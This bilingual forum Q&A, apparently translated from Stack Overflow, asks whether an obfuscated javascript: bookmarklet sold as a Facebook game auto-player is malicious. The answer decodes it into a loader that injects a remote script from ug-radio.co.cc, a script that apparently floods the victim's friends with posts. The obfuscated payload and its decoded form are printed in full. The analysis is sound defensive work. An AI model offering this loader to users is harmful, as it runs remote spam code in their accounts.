有人可以解密这个JavaScript [英] Can someone decrypt this javascript

问题描述

我发现它在一个论坛告诉我这个代码会给我自己玩Facebook游戏，但我担心这不是他们说的，我担心这是恶意脚本

i found it in a forum that tell me that this code would give me auto play for facebook games but i afraid that this is not what they say, im afraid that this is malicious script

请帮助：）

javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);

推荐答案

让我们从解码转义序列开始，然后摆脱那个 _0x8dd5 变量名称：

Let's start by decoding the escape sequences, and get rid of that _0x8dd5 variable name:

var x=[
  "src","script","createElement","http://ug-radio.co.cc/flood.js",
  "appendChild","body"
];
(a=(b=document)[x[2]](x[1]))[x[0]]=x[3];
b[x[5]][x[4]](a);
void (0);

从数组中替换字符串，剩下的就是：

Substituting the string from the array, you are left with:

(a=(b=document)["createElement"]("script"))["src"]="http://ug-radio.co.cc/flood.js";
b["body"]["appendChild"](a);
void (0);

所以，脚本的作用很简单：

So, what the script does is simply:

a = document.createElement("script");
a.src = "http://ug-radio.co.cc/flood.js";
document.body.appendChild(a);
void (0);

I.e。它在页面中加载Javascript http://ug-radio.co.cc/flood.js 。

I.e. it loads the Javascript http://ug-radio.co.cc/flood.js in the page.

查看加载文件中的脚本，它将自己称为Wallflood By X-Cisadane。它似乎得到了你的朋友列表，并向所有朋友发送消息（或者可能来自）。

Looking at the script in the file that is loaded, it calls itself "Wallflood By X-Cisadane". It seems to get a list of your friends and post a message to (or perhaps from) all of them.

当然与游戏的自动播放无关。

Certainly nothing to do with auto play for games.

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